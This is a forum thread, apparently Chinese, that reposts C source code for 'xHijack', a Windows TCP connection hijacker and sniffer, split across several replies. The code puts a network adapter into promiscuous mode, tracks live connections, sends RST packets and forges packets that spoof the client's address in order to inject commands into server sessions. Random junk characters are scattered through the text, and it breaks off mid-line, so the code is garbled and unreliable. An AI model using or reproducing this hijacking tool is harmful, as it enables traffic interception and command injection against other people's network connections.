    " Z9 H( ], d/ H5 \) O4 x" a            SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); ! v1 _/ m+ K4 V7 i6 B  ^
                //send hijack packet to client
    7 a' I1 h: P5 ]- S7 o& S' C            SendHiJackPacket(pTCPPacket); % [8 C& `8 o& ]$ a
                //reset action flag , K# J5 \+ m; J! h. k
                ResetActionAllFlag(); 8 E) f, R! x+ ~4 W1 A6 S  ~
              } 1 \; b5 Z( W# F- H
            }
    ! u0 m: A& R0 p; ?, _! F        //show the tcp data
    # G+ B2 }9 x& p2 S2 z! }' M        if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
    - N/ h1 v$ e* g2 E4 m        {
    # G, A# D+ W. k! P# b1 D          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); # e0 W5 }( Z. J. j, W
              //暂不考虑IP、TCP头不是20字节的情况   c6 }5 K1 P  }) R2 @( J3 n+ G6 K
              //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
    ) C" S& [: f* u1 }7 M! P9 ]          pStr = (char *)pTCPPacket + 54; - ^* h5 ]0 a1 |
              for(i=0; i        }
    6 m3 \' Z3 {/ F  L* ]; j5 W      } 6 \: h4 u# b8 d: F, x2 \
          //debug output ( ^& ]5 i, _  R$ ?5 p
          //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); ( @& z  L% k, ]# X9 |- p# @+ z  g
        }//end of analyse packets while
    2 J9 k; X0 S: d0 i  M- V- @& O  }//end of recv packets while
      ^8 w, s4 h3 @+ J2 |  PacketFreePacket(lpRecvPacket); - z4 ]& O' Z1 |; `1 P
      return 0;
    - Q( O9 p: A- E0 ^% @; n$ d2 ~} , f; @0 L$ Z3 ^7 m
    ) o, ]6 D+ h  W+ N: ~) _1 \

    + d2 ^- F% @  \! e# j1 J// 4 ^4 |. v6 z7 V9 I2 T( x
    //功能:操作记录所有连接信息的单向链表
    . X/ Y" z) ^9 \; ^* E// 3 m( O# m; R8 v$ H( G; G: j7 F
    DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
    " N; e! d5 L+ `7 d" B; @            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
    % D, O" G0 k0 V{ 7 G9 j" {& M6 d8 u7 T5 `
      PCONNINFO  pNew, pTmp; 0 E/ n' d5 M- [% G9 {0 y; t+ ^0 Z

    $ O1 q% v( n# V3 S  M: v  pTmp = g_pConnHead;
    8 b' W/ D( y0 M5 i% z( A3 ]  while(pTmp) ( H8 T8 B; T* D, x
      { ) q' ?2 S' @/ e3 ~
        if(pTmp->bActive)
    + d9 I- b! a. j    {
    % N% |6 q$ N9 `      //found it
    - j0 x8 q% N; i! c7 U, U      if( (pTmp->dwServerIP == dwServerIP) &&   I- b% T1 e6 G! O6 u
            (pTmp->uServerPort == uServerPort) && 0 g. W2 |" M4 i! N. C* ^: K
            (pTmp->dwClientIP == dwClientIP) &&
    1 Z0 ^& F/ I' `4 N        (pTmp->uClientPort == uClientPort) ) 3 M& L* F5 W4 t0 x) a( ~
          { 5 Z8 B9 `3 F) [. N# l" A
            if(bDelete)
    . B, l' }% `5 g  Q! B/ C( ?+ r        {
    8 L. o- ~: y6 V: A          pTmp->bActive = FALSE;
    4 U$ n$ M+ Q8 V4 \% O8 s9 ~; M          return 0;
    8 m1 m" q& E- a* f        } * c% O$ u% n; t' S0 Z4 M8 V
            else return pTmp->ident; # ~" m' e0 F1 b5 \* y) a0 H& E7 f
          } * P3 H3 w2 d8 h8 h2 n
        } 2 C+ p  r: |: i
        pTmp = pTmp->Next; 4 r$ H; ?+ C3 b) s3 I4 i3 K
      }
    & ?0 y+ r4 s- o% [7 o  //not found, create new node
    " s7 _& T6 U; [, h$ C2 _  if( (!pTmp) && (!bDelete) && (bAddNew) )
    ( g+ W, ~* Q7 d7 s' x: L. q* w  { & ?: Z9 \0 o: Y0 v( v% _; s
        //search unactive note 3 C5 U0 G% P0 s6 r0 H
        pTmp = g_pConnHead;
    ' F) m. n" n2 W$ ?0 i$ Y    while(pTmp) 1 l7 L. i' \, s. L5 h& V
        {
    : b) G) L$ S$ O0 n      if(!pTmp->bActive) break;   m  \  [2 G' R
          pTmp = pTmp->Next;
      o; R- N+ }9 m) y    }
    ) H: |) Q4 p% Z( k4 t5 m( j    //found a unactive node
    9 Q! [/ ?( f% v$ h0 \0 ~% y    if(pTmp)
    . J9 a% H* k5 R1 o9 l: G' t8 z; {    { % Z# [7 W) K8 n
          pTmp->dwServerIP = dwServerIP; ( X/ f6 j. c5 [# T* E- E1 ?- b4 ~
          pTmp->uServerPort = uServerPort; 4 S6 f1 f+ e- @4 B; q( S% Q
          pTmp->dwClientIP = dwClientIP;
    ( h4 n. W4 k7 Z3 l( d+ K! \2 f      pTmp->uClientPort = uClientPort; * \! Z; Z1 w6 Z/ k0 \% {) J
          pTmp->bActive = TRUE;
    ( @: A" X8 ~/ p$ T3 ~      return pTmp->ident; " o- b" m$ V2 r: T
        }
    - {) f2 E. S( S6 a7 p( g* Q2 r( m    //not found,create new node * Y$ \, b  y! m! w1 x" p. ~
        pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    . `4 t2 \8 W$ e9 o$ C    if(!pNew)
    6 s' V- y8 I# f7 _" z8 s1 L6 O    {
    6 u9 u# N! I1 E" L      printf("malloc for link node error:%d\n", GetLastError()); ; H( S; X" E: ]  S, N1 v
          return 0;
    ' @! `5 |* h' W& Y" y* u+ P: D    } + A7 A) `4 U7 y) j- Y# z) I
        //fill the struct $ B' Q+ ?6 l3 E4 b$ [1 P
        pNew->bActive = TRUE; ; Y9 A) T$ [; ?; Z3 {
        pNew->dwServerIP = dwServerIP; % h( r- j7 G6 B( I
        pNew->uServerPort = uServerPort;
    3 k' H) F% ~  t; K4 }( s, c3 k    pNew->dwClientIP = dwClientIP;
    2 s" {/ R( f! S7 B9 `0 q    pNew->uClientPort = uClientPort;
    ) r$ v( ~# m. \3 D4 ?" O  i$ I    pNew->ident = ++g_ident;
    9 M+ V& b; x! V0 R' r    pNew->Next = NULL;
    3 ~( h& N- n0 c% u5 o" ~' G    //add new node to link
    $ N2 ~6 p+ G' {3 C6 X* M    if(!g_pConnHead) , Y; T* x4 f& K, o- R) g( u
          g_pConnHead = g_pConnLast = pNew;
    - b2 h4 E: o- |    else
    ! p& h9 x# s) F% L1 X: B+ N2 I    { ; H0 S9 [1 h0 Z5 p' W
          g_pConnLast->Next = pNew; 0 F+ U& |1 V: J6 [  x9 Q
          g_pConnLast = pNew;
    $ ^' q' E5 }: p. R; Y' w    } ) l: k# e  V4 C" I4 p$ @, F1 D
        return pNew->ident; , d! ?5 j1 @4 k9 E" i$ o5 |3 U& k6 C
      } 4 `6 f3 u5 F4 Z( L; E! V/ V( a- e
      return 0;
    + Y2 O0 |3 D! k% ?: w} : ^, o' j4 F! G( t4 z# O

    ' v  c3 N# c) m% d! Z2 J5 w# M//
    - Q" v) q/ {0 ]# O6 L. T6 |6 ?+ U//功能:判断一个数据包是不是只有ACK标志 1 g- d+ M5 C/ i& h) I& W+ n2 v* V
    // ) y& Q9 j8 r/ H5 g. [( b& A9 j
    BOOL IsACKPacket(unsigned char flag)
    - Y3 j5 s5 ?' {# m% t{ 7 I' p+ \6 J2 b
      int  i, j=1;
    : _! Z* e9 T- T, ^  for(i=0 ; i<4; i++) 8 U6 O, @( Z. P7 u/ B7 p; M( s: i# u( W
      {
      Z- e; \. `" [9 A8 I    if(flag & j) return FALSE;
    ' v* B2 ^1 a; F; x+ c, k    j <<= 1; 2 I% y  W3 i0 [: Y' z/ J3 _
      }
    + H& \0 N+ U4 r  if(!(flag & 0x10)) return FALSE;//is ack? ( l4 B3 G( u1 A
      if(flag & 0x20) return FALSE;
    9 s5 Q( ^$ o( }$ ^2 {; b  return TRUE;
    0 z6 @) b5 U' S1 d0 ^2 R} " Z2 `: s- Z$ v" d
    ) {; r. l6 P, l* X
    // $ K8 Z' H: }# x  h: ~
    //功能:伪装成Client给Server发送数据包 " D( ?9 w6 N4 `9 k, g% G9 X
    // ; z6 I& o9 Y$ |8 C* o
    BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) 7 q8 i  z$ Z+ v' m. }( E8 g
    {
    4 \) T+ l  ]2 o1 [( ]4 ^5 D9 ]8 E0 M% _! `  E6 v  o$ g
      char    szBuff[1520]; 3 [3 m: C5 U+ c" S5 A# Y
      PSDHDR    psdhdr; # @; Z# n1 `0 ]
      PTCPPACKET  pHiJackPacket = NULL;
    $ ~* {% ~, Z: p( s5 b  BOOL    bRet = FALSE;
    4 z5 f4 r6 C- m! D( G& r2 j5 O! T  M! w
      __try 7 ?$ \% V+ S+ L, O. n) P0 O$ m* i
      {
    * a7 k6 m& y0 X/ @  {# o    //
    + x) I1 x) C* T- y    if(!g_pCurrCtrlConn) __leave;
    $ Y% i% W3 e; y# @; m1 v7 [1 n! h    //allocate memory for hijack packet : T" H4 t- P1 Q1 k/ s& }
        pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); % i( z' C6 Q% ]" V
        if(!pHiJackPacket)
    1 j9 i. a1 O# {5 w( R    {
    4 e) E8 j; [4 k7 n# @# }+ W3 |      printf("malloc error:%d\n", GetLastError()); 7 ^: u8 M6 U' R
          __leave;
    4 w* a+ N/ ]& X. q    } 9 q8 c2 j- ?* y9 m6 g5 d0 |4 C
        memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); 4 c7 I" V& ]( W
        //-------------- modify the packet ---------------//   P# }$ J7 f9 D$ B
        //modify ethernet head ! J* t2 t$ c2 S# o& ?; z: ^( }) Z
        memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
    ; q1 ]' _7 t; w    memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); - v- s% K$ D  H" g4 k
        //modify ip head - K% Y& T6 }# p2 I7 G
        pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
    % p% i: K' y5 N  H4 W    pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); . l" E3 A- c- b5 z) g/ ?
        pHiJackPacket->iphdr.ident += 1;//标识加1
    + J. ^' l, U0 ^- Q    pHiJackPacket->iphdr.checksum = 0;
    $ W* i. n9 r# r" K1 F& A+ u8 D7 T    pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
      e8 l! P; N1 z5 M$ e; [    pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
    4 T1 C! N, ]" d  x* o    //modify tcp head
    0 a7 P4 p& m) G7 N8 K9 _3 W$ m    pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port - z0 f* g% G/ n- K. Q6 W
        pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port ) H: {8 a; i% ?  G3 c( `
        pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
    9 l- ?1 |" A0 p2 U9 d    pHiJackPacket->tcphdr.th_flag = 0x18;// PA
    ! I7 ]/ c! ?5 u  P7 n6 [, A    pHiJackPacket->tcphdr.th_sum = 0;
    / Z1 ?" g! N' o5 g1 b1 Y: o& V    pHiJackPacket->tcphdr.th_win = 0x3F44; ( s, ]0 w, t6 ~  Y7 `8 @
        //fill tcp psd head 2 y+ W$ P0 r2 l( e1 f; V/ x
        psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;           
    $ P7 @6 M* g2 `  Y    psdhdr.daddr = pHiJackPacket->iphdr.destIP;           
    " v) i0 Y4 q" m8 F4 q2 x    psdhdr.mbz = 0; $ L* \, ~4 f2 M4 b6 m! O7 [) \& c: A
        psdhdr.ptcl = IPPROTO_TCP; : Q6 @. H# w) \( T* N
        psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    4 M: P5 q9 [' N( B. v2 _! U    //calculate tcp checksum     / z) {' K6 u5 U7 W
        memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   $ u6 F5 _- a! l4 K
        memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); : J7 a) [7 ^/ I7 R
        memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 5 D- m0 p& [9 m. O1 _0 C2 o
        pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); % ~# q* Z0 G9 O
        //calculate IP checksum 4 c) [1 f3 m: h0 ]6 C% p9 U2 U
        pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); 0 M, {5 j* V1 T1 [$ d
        //fill send buffer           ' C3 u( b7 ~/ w6 U+ Z/ V
        memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    6 W- H  l% V- w# u" V0 r+ q    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
    + e0 }: V) v& j2 Y% Z+ @$ Y    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); : Z3 `. _9 U# h( T
        memset(g_lpSendPacket->Buffer, 0, 1514);
    7 U' |% |7 [/ w    memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
    " s4 H2 f1 B4 i    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 8 X0 d. f1 D: v7 {0 O5 f
        { * b0 S' I4 q7 y& k' l; I2 @6 P0 ~* S
          printf("Error sending the hijack packets!\n");
    : i. `* f, {2 g6 k+ m3 K! c      __leave;
    . c. M* {+ |) {8 Q! y( }    }
    # a9 h) p: F" I3 V" z    else printf("Send hijack packet ok!\n");
      P) l% E! ?. ^, U    bRet = TRUE; 7 Z4 j  o8 u7 A
      }
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    if(strstr(szSelectAdapterName, pTmp->AdapterName)) 1 e! b- {3 J! U* ?1 { { i* c! e) m- d& V& ]/ q. g) p8 d //found it,get own adapter mac address 5 \: } F, B, J; b! O3 x" R) f memcpy(g_szOwnMAC, pTmp->Address, 6); " L- H* ?- |# o: q. ]. m3 Y# R //get ip address + X t7 ~* V3 x: y @7 d pIPAddr = &pTmp->IpAddressList; - E" t' V. o4 A( _ while(pIPAddr) ) z' ?. A# B- {& F { ; Y6 K; b* r" ^0 p: Y! F- v- _ g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 7 r+ h3 p* O5 c# H pIPAddr = pIPAddr->Next; & _9 _* X, O5 Q( A5 D7 c5 b$ b# R/ O if(g_TotalIP >= Max_Num_IPAddr) break; + q& g. r+ V7 f& N/ Z) b8 T+ Z } 3 ]& w- C B) q% ?& i break; / u' N+ ?4 T4 c( T) s$ }, m8 E } : a. ~' ]( [4 S; g$ T. q pTmp = pTmp->Next; b* \3 Z! F. y3 U$ L: ]9 A! h1 S; V } 1 A1 Q" i- f3 A) w7 X6 Q0 c. X" V- J; x& S free(pAdapterInfo); # X. ~! E) a V3 \/ [$ r //not found,return zero ; J7 [( y/ \2 Y8 e if( (!pTmp) || (!g_TotalIP) ) return 0; F( c! w% ~' g# v% L //---------------------------------------------// 2 r/ T/ {. O6 D! r# P //open adapter 5 C5 l5 v, |' J+ d6 _( f9 q lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); * M1 S! G$ z4 |+ F if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ) J5 u% G6 Q0 r* C7 X { $ b0 T. [4 V# I! J; \- F* I r0 G iRetCode = GetLastError(); ! \! B1 q% a! B" E/ [+ u( y printf("Unable to open the driver, Error Code : %lx\n", iRetCode); ( U* K& u# P7 e& ~5 g return 0; x7 |( [6 f6 q } 5 G/ Y5 v$ _. j, q- c // set the network adapter in promiscuous mod # v: q4 L7 H1 f& y8 } if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) + j. X; A2 {. i# E0 B8 P I# j; O { ' Y7 T) t! I2 W1 T& q: `/ F printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 1 }9 q) J7 X8 }) c if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ( L! E3 W! {8 N% o2 T { $ \0 ], x$ k3 _" [/ @8 F) N printf("Unable to set ALL_LOCAL mode!\n"); 3 x6 p6 B% s8 W5 ^- L( N return 0; ) e. X' S/ R' K. U$ k } ! M. D9 ^$ Q- E. f1 y: P" D/ \1 } } % h8 n$ j* X" D2 L2 O: l // set a 512K buffer in the driver 2 c" H/ K! g5 @' ~7 a if(PacketSetBuff(lpAdapter, 512000) == FALSE) 2 o. S( K S) S8 w0 w8 O { 4 q4 c. R/ y6 H4 T1 g4 R printf("Unable to set the kernel buffer!\n"); 8 V4 N- D5 R% m7 a8 p( u5 Z. p return 0; - a' `9 G8 B, j! F } ' s) K# L- `1 \' o' i$ M- z // set a 1 second read timeout # `$ l, ?! G* R) I; u if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) - b: A: Z. K8 u* N Z! Z printf("Warning: unable to set the read tiemout!\n"); 5 u# j1 T! t# J; r* V, h; x# `) m if(PacketSetNumWrites(lpAdapter, 1) == FALSE) ) e3 v( F1 ?- L9 M. F2 v printf("warning: Unable to send more than one packet in a single write!\n"); & P' ]" D2 T$ ?) k7 |/ D# ~ d0 Q //设置发送的packet + x4 d- J/ h: Q7 K- X# p g_lpSendPacket = PacketAllocatePacket(); " \& L1 u( a/ }5 o9 M B2 e3 J0 M if(g_lpSendPacket == NULL) 7 H* A9 o& [- ~ `4 ?1 N4 \# R { + c, y, G9 u2 Q# z3 H. [) z: s9 I printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); * T% A3 K2 t2 H) N6 s return 0; + | Q7 [/ M8 N. |! k9 E- j } 4 p. ^+ G- ^/ N8 q3 _7 L8 ~ ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); ! E4 k' q% G/ d; f PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); , i- |- g) f& i4 V8 a return lpAdapter; 6 L/ M L$ Q) ~0 C} % j P4 p% F# f P% r# N/ l; L Q' b; N//功能:帮助信息 & d1 N6 Z" v% q4 R6 C( ~void usage() 4 P+ ]% K% ?) t1 |+ ?7 ~ { 7 f5 r5 C- Y. ]* ^& ~8 B printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 5 u: f$ [) D* I "By eyas 2002/8/19\n" G6 Q# {! |9 G" e "http://www.ey4s.org\n" + {- k( v J( z; j& f0 P% ]! U "Thanks to Refd0m and shotgun\n\n" ( ~; P; v4 N4 I/ G k+ ] "Usage: xHijack ServerSide ClientSide\n\n"); 5 }6 I1 {5 z0 l% m# O* N3 N+ l l1 j} $ J: I; M3 G5 i: X( ^$ E % z! v; D4 h" a9 m4 Q, a// ; w6 ^0 ~9 G1 r% P2 T0 ?1 p2 Z//功能:显示数据包的一些详细信息 , K& W7 R2 l1 k4 |3 t0 a// , |* }: r0 c" Y1 h. lVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) ! }% X. P2 h h { # N8 z2 Z1 g* P ^+ H SOCKADDR_IN saDest, saSrc; * Q ?7 o' m2 Q, ` unsigned char FlagMask; 6 _ h+ n% g9 L P int i; \8 b& T, }5 i, Z3 | ' Q* d$ Z4 B; R9 {+ a0 u saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 0 t- }, F2 a" r saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 4 ?. D5 w" x7 a/ y printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); , b9 t8 [( T8 l; q4 N printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), 0 Z4 N+ t0 d i ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); _# G* z' R( g) X, K //display TCP flag # H' ], X1 ]2 l" g1 V8 T for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) % d$ i2 `) [# ^3 I { - v7 c% D( \7 J if((pTCPPacket->tcphdr.th_flag) & FlagMask) / r' y% A! L! Z printf("%c", g_szTcpFlag); * V9 n% K( r6 _3 |2 n( v2 |! q else printf("-"); 9 m! m ~( H; e: {( \+ D2 ~ } v' s; a8 D$ Y; R, I2 s printf("\n"); 1 `; G) L3 r2 E7 k# [ //如有需要,可显示更多详细的信息 ( b7 D' u5 {0 t% d- w1 y if(bDetail) ; h+ w! k6 L } printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); D: r* C; }: z: ]} 1 e4 r9 E5 |) N; \; I$ y 6 m: }3 e) Q2 x; N5 A* `) b; Y& e// : t$ A$ @4 D6 \4 @4 r! x //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 ! B ^& n6 B4 h9 z, [4 A" n0 A" ^ // 2 F- S- g$ Z) ?- f4 j$ w2 V3 WDWORD WINAPI AnalysePacketsThread(LPVOID lp) 5 |# p% q* l; u6 z/ C: k) r { & f, N: f! |& F) d v% q* B ULONG ulBytesReceived; " B4 G3 j/ t4 a* Q1 u USHORT usDataLen; # G" F4 K/ o! ?( W //USHORT usIPHeadLen, usTCPHeadLen; 5 T& _( O2 A2 K5 d char *buf; - t& F$ v6 G' ]3 r u_int off, i; : a* n% q- x* G: n PTCPPACKET pTCPPacket; + v; ?2 Z) ~* t8 R# B struct bpf_hdr *hdr; 5 I$ X* k* e; O [1 H LPPACKET lpRecvPacket; ' H5 M% R$ l ^ char szPacketBuf[256000], *pStr; % p6 {7 A0 M6 }8 q/ A5 [1 Z BOOL bDeleteNode, bAddNew; 8 m ~ T* G" W" o+ H$ ~. v- p# O DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 ( P. H. n1 i& D' W; C" m# k BOOL bClientToServer;//数据包是否从客户端发送到服务器端 # G9 }5 I3 O: a) l. K 9 f h; E" a- S& q0 O0 m( c; S //设置接收的packet ; b" {; l& t" r2 Z7 a/ ? E, A lpRecvPacket = PacketAllocatePacket(); % G! R e% {+ Z7 z T4 k2 e2 [ if(lpRecvPacket == NULL) / f/ W. ]+ w; j { ; y) U; n2 i5 I* G% ^* n+ x* T printf("Error:failed to allocate the LPPACKET structure for recv.\n"); + _5 M; m/ t; Z ^$ n return 0; & l9 @* t5 c O7 M7 U } 2 a, X. m; \. K5 ~8 D ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); " a3 o, r; c7 i* q PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 5 o( z$ K0 m0 `4 z while(1) * I l, ]+ Q4 R/ F! |1 r! l { 2 B" \( I! N3 x) }1 R3 @7 d // capture the packets 3 N& B4 c/ s" A- |( j$ | if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 0 S( {/ y! s7 X7 S. u/ {% a { " _3 p; J: Q: p- R& ~4 i$ r printf("Error: PacketReceivePacket failed.\n"); [: o" c' h% r$ q6 Y4 v3 R# Z7 q$ ]9 A) _ break; 8 f3 V5 `, ~& v4 ~4 T( o } 8 D7 `# P' W' c; O" Y ulBytesReceived = lpRecvPacket->ulBytesReceived; ' d, r! k: P0 {% U7 x5 \ buf = lpRecvPacket->Buffer; $ ?* n) |( M& ?2 i% I0 i off = 0; / I4 g0 i8 @. s! C. |4 T% j; _ while(off < ulBytesReceived) # S/ k m' @" m8 a0 o: J6 i { $ |% J3 a" x; y- F8 L hdr = (struct bpf_hdr *)(buf + off); 8 I2 u$ ?1 {3 l! H off += hdr->bh_hdrlen; ) P, ~6 S) E5 c0 n; U pTCPPacket = (PTCPPACKET)(buf + off); ) N) e; U# m- Y/ D off = Packet_WORDALIGN(off + hdr->bh_caplen); 8 t/ `/ d/ ]' e- b5 b //不需要处理自己发出的包(转发或本机发送的) , ?* L# u/ H" @! q+ i; H4 Y s if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 5 l5 t W' J+ r/ \5 ] //检查是否IP包 8 w6 R( W3 p( m. J" @ if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; , {* e: W+ f: t" v/ j //检查是否TCP包 z# ^+ z/ r- }( S, d if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; & \2 t, c. d9 N //也不处理DestIP是自己的包 : O7 O. _' s) P! `9 g for(i=0; i
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    // # e) f5 ?' @' V" j: E //功能:列出当前所有连接 " @* T; `6 ~0 J// " n3 O: R+ ?6 p/ s: p% X) N. [void ListAllConnection() e2 C# \* M& i { 6 A5 P' @* w# e% i% }0 i0 x- I7 R' L PCONNINFO pTmp; 8 ? b: ^, |/ j/ z* D1 M SOCKADDR_IN saDest, saSource; - a6 j0 b+ H2 ~: K. F$ f1 | pTmp = g_pConnHead; 1 U2 I _6 X: _ while(pTmp) 7 i- s7 x }3 F1 n& A { + ?$ K# t1 t; P! Y+ m" i. n: N if(pTmp->bActive) : b- X6 Y0 L7 t& W' q { # l* x8 g! N" p: M* K& ? saSource.sin_addr.s_addr = pTmp->dwServerIP; " G5 o# @% G, H- R Q Y& Y3 ~ saDest.sin_addr.s_addr = pTmp->dwClientIP; 7 i2 p' e. V5 E; g. `9 O printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), , C- ?+ H, U! Y ntohs(pTmp->uServerPort)); . Z1 j k3 C+ v printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); # X) b; w& l$ b } . z% Q! P9 E u! W7 x3 @: Q4 s6 n pTmp = pTmp->Next; 3 W' b3 ?) N! t- l+ d6 P3 O* T) q, Y } 5 T8 ?( w& H( V( U5 ?5 o1 y! k} # @# H; _5 J2 m6 I& [& ~ 5 _. Z$ c) C0 J1 o& s// ) F% g( S/ i' }' n6 h' {+ O //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 # }: l1 |: Z- D4 _// # @+ H& _& M9 b" M5 jLPADAPTER InitAdapter() 7 V8 q7 l& F. Q. A" S/ n8 D { & ~9 d6 X% r3 F/ R! {& ^, a LPADAPTER lpAdapter; 6 i7 e7 D3 K) \; Q4 M& U. z3 i static char AdapterList[Max_Num_Adapter][1024]; * i+ p% m; q2 R- @, e" T6 N# c char szSelectAdapterName[512]; + ?. j" O9 k8 c* U6 v WCHAR AdapterName[2048]; , z& t1 B- s F9 D" A' Z WCHAR *temp,*temp1; - _' v% s2 r8 x ULONG AdapterLength = 1024; , ]% L+ k$ w1 W( Y, ]( y0 D int iAdapterNum = 0; . [; {# ]" u3 p( Q7 ~ int iRetCode, i; 2 B2 O; C1 j7 ?" T5 @ int iAdapter = 0; 0 ~" S; M* Q$ K& l. z: v ULONG ulLen = 0; % ~- Z1 z- \) M L3 l9 A5 y DWORD dwRet; - J; }& o3 R; ~! i PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; / e- [3 L- A! C PIP_ADDR_STRING pIPAddr; U0 J$ ^, q& {1 g8 S( X- i: K 3 A1 o, o5 M: J5 P. R. u //Get The list of Adapter 5 ?4 P2 a+ E3 j2 B, S if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) ! w0 U( _' A3 {: F1 R0 y { 9 m! Z$ X1 K5 t6 C+ p0 O0 w _ printf("Unable to retrieve the list of the adapters!\n"); , l; G% r. U- M) }1 H' B O! x return 0; / \- u/ M, H1 ?' J& u } t, f5 X/ ?1 {2 F: u4 H+ L; N temp = temp1 = AdapterName; 0 x- u$ q' E, p+ ?3 ] i = 0; ) ~: s( x5 [: u1 o- K1 ` while ((*temp != '\0')||(*(temp-1) != '\0')) : T" Y- d3 ?3 g/ S% X2 ? { ; X; j6 q8 K# E1 L( ~ if (*temp == '\0') . E' ^* ~) V+ j5 r { , b) i1 J. G/ _& Z0 R1 G4 ? memcpy(AdapterList,temp1,(temp-temp1)*2); 6 \* }' s- |7 n+ s7 V printf("%d - %S\n", i+1, AdapterList); ) _) e: ~* k+ s5 @/ P/ J; \, A temp1=temp+1; $ @; Y5 t" D2 n+ |# U; |4 d4 |/ I. @' m i++; 2 f& B: q" L! s- p& ~4 D } 6 T' d3 c# A# r! ?8 k temp++; " E$ t$ Y4 n3 @( Y! T0 { } # y6 }5 H' w6 w; B' S //choose adapter 6 w. v# M2 i* A8 t while((iAdapter <= 0) || (iAdapter > i)) 8 b8 _' `0 R: ?8 ?, p: x8 ]; g { 8 [. V( L ]6 G" a) h* ~ printf("\nPlease choose your Adapter:"); / q$ U2 B! t8 O$ ?$ ~' W1 u scanf("%1d", &iAdapter); 9 v. t9 i* K0 ^% c } 3 u& a- h0 W. E" E9 S. A5 l9 N printf("\n"); ; O1 m5 x* H, t0 R //---------------------------------------------// ( ]7 D+ Y, I: R( n% x) X( i* ] //这里调用iphlpapi来取得本地ip_addr和mac_addr 8 M8 e2 @7 a& j7 L$ W sprintf(szSelectAdapterName, 